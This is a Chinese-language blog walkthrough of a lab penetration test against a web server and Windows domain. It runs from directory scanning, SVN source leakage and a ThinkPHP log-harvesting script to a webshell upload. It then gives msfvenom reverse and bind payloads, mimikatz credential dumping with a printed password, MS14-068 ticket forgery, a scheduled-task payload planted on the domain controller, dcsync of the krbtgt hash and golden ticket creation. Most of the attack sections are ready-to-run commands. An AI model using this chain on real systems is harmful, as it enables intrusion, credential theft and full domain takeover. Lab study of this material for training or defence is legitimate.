内网渗透-项目六外围打点

1.外围打点

1.1拓补图

1.2发现主机

arp-scan -l

可以发现目标ip为192.168.31.138,nmap扫描端口,接下来绑定hosts域名,访问目标网站。

nmap -p- -sC -sV -O 192.168.31.138 -oA ip_port

注:-p为指定端口,可以先用masscan扫描开发端口,再用nmap。

绑定hosts,目标域名是www.webhack123.com

vim /etc/hosts


直接按照图中添加就可以了。

1.3网站目录扫描
打开网站发现没有什么信息直接上gobuster扫描目录。

gobuster dir -u http://www.webhack123.com/ -w /usr/share/wordlists/dirb/big.txt


发现了svn目录,猜测是svn信息泄露,可以获取网站源码。直接去github找相关的利用工具-传送门
直接下载全部源码,其中,在一个数据库文件中发现存在账户密码,Cmd5解密得到密码是123456。

另外,像“ wc.db ”这种数据库文件我们是可以打开的。比如navcat。
发现一些路径信息,有thinkphp的日志文件。可以去我们svn下载的文件那看看。
也可以直接拼接路径,在浏览器打开。

其实大部分thinkphp网站的日志记录都是打开的,

且有一定的规律,我们可以写一个脚本进行利用。
在这里插入图片描述
1.4编写thinkphp3日志泄露工具


import requests
import sys

def addurls(year):
    url = "http://www.webhack123.com/App/Runtime/Logs"	#记得修改这个网址
    urls=[]

    for month in range(1,13):       #遍历月
        for day in range(1,32):     #遍历日
            if month < 10:
                if day < 10:
                    urls.append(url+"/%s_0%s_0%s.log"%(year,month,day))
                else:
                    urls.append(url+"/%s_0%s_%s.log"%(year,month,day))
            else:
                if day < 10:
                    urls.append(url+"/%s_%s_0%s.log"%(year,month,day))
                else:
                    urls.append(url+"/%s_%s_%s.log"%(year,month,day))
    return urls

#print(addurls(20))

year = sys.argv[1]          #传入年
#print(year)
urls = addurls(year)
for url in urls:
    r = requests.get(url)
    if r.status_code == 200:
        print(url)          #将存在的日志的链接打印出
        with open("thinkphp3_log.txt","a",encoding='utf-8') as f:
            f.write(r.text) #将日志存入文件


使用方法

python3 think.py 20 #对应就是20年的日志

找到最后一个日志,拼接路径,浏览器打开,查找password,发现了密码

74c774ef39b5b977c1fd59dbfc73c3e380a65aa3,hash解密为web123.
后台密码就是 admin 和web123了。

1.5找到后台地址

目录扫描没有得到后台地址,一般有两种可能。即后台名字比较奇葩,字典没有。

另一个是,后台在域名里。

这里有个小技巧,有一些大的厂商,并不会把所有的子域名都进行备案的。

即他们仅仅通过少数员工通过绑定hosts使用,

这样的话。子域名扫描是根本扫描不出的。这个时候,我们就可以上一个脚本了。

我们可以稍微修改一下代码,我们就不需要https了,

只需要在ip.txt写我们的ip,host.txt填入域名 webhack123.com,domain.txt填入子域名字典,

可以看到已经找到后台地址了,admin.webhack123.com

本地绑定hosts进行访问,


输入admin web123进入后台,这里我密码输入错了一次,但是验证码还可以用,说明验证码不会立刻销毁,可以暴力破解。
在这里插入图片描述
首先我们先熟悉一些这些功能,找一个可以getshell的点。
在这里插入图片描述
这个位置发现可以修改上传文件类型,直接加入php,然后抓包修改文件,拼接图片连接getshell。
在这里插入图片描述
直接蚁剑连接了
在这里插入图片描述
好了,发现是administrator权限,开始内网收集。
在这里插入图片描述

2.内网渗透

1.判断在内网中的位置

ipconfig  #看一下ip,如果一个内网一个外网就可以来作跳板机了

2.直接上线msf吧,等下还会演示用cs来渗透的,好了。

msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.31.138 lport=12345 -f exe > s.exe

用蚁剑上传,然后执行,msf这里启动监听,直接上线,如果这里不懂就不用看了~~
在这里插入图片描述
进入meterpreter,开始信息收集,首先添加路由。

meterpreter > run post/multi/manage/autoroute 
meterpreter > run autoroute -p #查看路由情况

接下来进入shell吧

C:\Windows\system32>chcp 65001  #设置编码
C:\Windows\system32>net view

在这里插入图片描述
发现存在2个用户
在这里插入图片描述
找到了域,接下来我们找一下域控
在这里插入图片描述
域控大概率就是10.10.10.149了,真实环境不能用arp扫描,动静太大了。

命令小结

net view /domain 查看当前域名
 
net view /domain:域名 查看域内部所有计算机名
 
net group /domain 查看域内部所有用户组列表
 
net group "domain computers" /domain 查看所有域成员计算机列表
 
net accounts /domain 查看域密码信息
 
nltest /domian_trusts 获取域信任信息
 
nltest /DCLIST:域名 查看域控制器机器名
 
net time /domain 查看当前时间,因为时间服务器也是主域服务器,可以看到域服务器的机器名
 
net group "Domain Controllers" /domain 查看域控制器组,因为可能有不止一台域控,有主备之分
 
net user /domain 查询域内用户,会看到熟悉的krbtgt用户
 
wmic useraccount get /all 获取域内用户详细信息
 
dsquery user 查看域内存在的用户
 
net localgroup administrators 查看本地管理员用户组
 
net group "domain admins" /domain 查询域管理员用户

好的,信息收集完毕,接下来我们的搭建一个socks5,然后上线域控了。先搭建一下吧,既然是靶机那就多弄一下吧,练在难处,用在易处。

直接弄frp。

kali作为服务端

./frps -c frps.ini

在这里插入图片描述
上线主机作为客户端

上传frpc.exe 和frpc.ini ,可以用蚁剑上传,也可以用kali的msf上传。

直接执行

frpc.exe -c frpc.ini

在这里插入图片描述
kali服务端看到这个代表已经成功了。

root@kali:~# proxychains bash #代理全局终端就是不用在命令前面在输入proxychains
root@kali:~# nmap -p 445 -sT -Pn 10.10.10.149 #这里必须用tcp协议扫描。

可以扫描一下内网常见的端口,节省时间,看到445端口开启,打一下最简单的ms17永恒之蓝漏洞。

msf6 exploit(windows/smb/ms17_010_eternalblue) > 

我这里设置了正向payload没有成功,可能是target的原因,因为是虚拟机,偏移量可以不同,就没打成功。

因为是进击dc,所以hash传递肯定是用不了了,属于是纵向深入。

不管了,先抓一下密码吧。

meterpreter > load kiwi
meterpreter > kiwi_cmd privilege::debug  #提升权限
meterpreter > kiwi_cmd sekurlsa::logonPasswords #抓取密码

整理一下密码

 WEB ; Administrator ; !@#Qwe456 

使用命令“ run post/windows/gather/enum_logged_on_users ”来获取登录过靶机的机器。
这个命令,很有用,单独伶出来写。主要是对后续做票据很有用。
在这里插入图片描述

 S-1-5-18                                       %systemroot%\system32\config\systemprofile
 S-1-5-19                                       C:\Windows\ServiceProfiles\LocalService
 S-1-5-20                                       C:\Windows\ServiceProfiles\NetworkService
 S-1-5-21-1443003717-4130318662-4279967973-500  C:\Users\Administrator
 S-1-5-21-2005268815-658469957-1189185684-1103  C:\Users\web
 S-1-5-21-2005268815-658469957-1189185684-500   C:\Users\Administrator.HACKBOX

使用命令“ run post/windows/manage/enable_rdp ”开启目标远程登录。
可以远程登录一下,动静太大了。
啊这,登录不上,换个思路。
3.使用ms14-068提取到域控
这漏洞在14年就有了,后面的机器一般都会打补丁的,这个机器可以利用。

上传ms17-068.exe,可以用蚁剑,也可以用kali。

直接执行,可以看到帮助信息

看看脚本利用都需要什么条件。“ 脚本 用户 SID 域控IP 用户的密码”
在这里插入图片描述

MS14-068.exe -u web@hackbox.com S-1-5-21-2005268815-658469957-1189185684-1103 -d 10.10.10.149 -p !@#Qwe456

可以在当前目录找到这个票据

在这里插入图片描述

来加载kiwi,导入票据。 “ load kiwi ”。

但是发现kiwi没有导入票据的功能,还是得将猕猴桃上传到目标服务器。

上传mimikatz.exe 到靶机,运行它

此时先访问一下,域控机器的C盘,是无法访问的,没有权限。

dir \\dc\c$ 

没有权限,运行mimikatz.exe,清理一下票据。

先清理一波票据“ kerberos::purge ”,在查看票据列表“ kerberos::list ”

使用命令“ kerberos::ptc TGT_web@hackbox.com.ccache ”进行导入。

在这里插入图片描述
在这里插入图片描述
导入成功,这时我们 dir \dc\c$看一下能不能查看域控的c盘
在这里插入图片描述
nice,成功了,接下来我们就可以操控域控了,思路是上传文件给域控,然后写定时任务,反弹shell。

接下来生成一个msf正向木马

msfvenom -p windows/meterpreter/bind_tcp lport=17777 -f exe >bind.exe

直接上传到dmz机器,也就是我们这个机器,然后通过刚刚mimikatz导入的票据,访问dc,

进入meterpreter的shell,
> copy bind \\dc\c$\
> dir \\dc\c$   #看一下有没有上传成功
> net time \\dc #看一下时间,然后准备写入计划任务
> at \\dc 10:05:00 c:/bind.exe
> at \\dc #看一下有没有写入成功

等一会,我们直接用msf连接,好了,连接成功。

这时我们已经获取到域控了,看一下权限,是system,直接迁移进入导入mimikatz,抓取密码,
获取密码,就可以制作黄金票据,一般用于权限维持,也可以开3389远程登录,不过动静应该挺大的
这里还是给出过程吧。“ run post/windows/manage/enable_rdp ”。
kali 直接执行proxychains rdesktop 10.10.10.149 就可以了。

制作黄金票据
考虑长期权维护,还是做一个黄金票据比较保险,先清理一下刚刚生成的票据。

此时会话是“ web ”服务器的,并不是域控的。要注意!!!

先加载kiwi,然后使用“ kerberos_ticket_purge ”来清理票据。

此时,应该开始制作票据了,开始准备一些制作票据的资料(ntml sid),先切换回域控会话。

第一种获取“ SID ”的方法,先进入shell环境,

执行“ wmic useraccount where name=“krbtgt” get sid ”命令。

在这里插入图片描述
这种方式是有缺陷的,即不能获取“ ntml ”。

我们接着来说第二种方法,需要“ 域管理员权限 ”,使用ps查看进程。
在这里插入图片描述

切换到任意一个进程,注意使用“ steal_token ”命令而非“ migrate ”。

使用“ dcsync_ntlm krbtgt ”命令来获取krbtgt 的资料,需要先load kiwi
在这里插入图片描述
生成黄金票据的公式:

golden_ticket_create -d 域名 -u 任意用户名 -s SID(没有-502) -k NTLM -t 保存位置。

golden_ticket_create -d hackbox.com -u asdzxc -s S-1-5-21-2005268815-658469957-1189185684 -k 6f60ace6accbcb76078ccc0312174e98 -t /tmp/krbtgt.ticket

刚刚我们使用域控会话成功制作了黄金票据,此时我们切换到web服务器会话。

将生成的黄金票据,先验证一下,此时能不能访问域控的c盘。显然不能,回到meterpreter,
直接清空票据并且导入。
在这里插入图片描述

注入成功,进入shell成功访问到域控。并且是域控会话。

cs渗透的我等会再写吧…

  • 1
    点赞
  • 11
    收藏
    觉得还不错? 一键收藏
  • 1
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值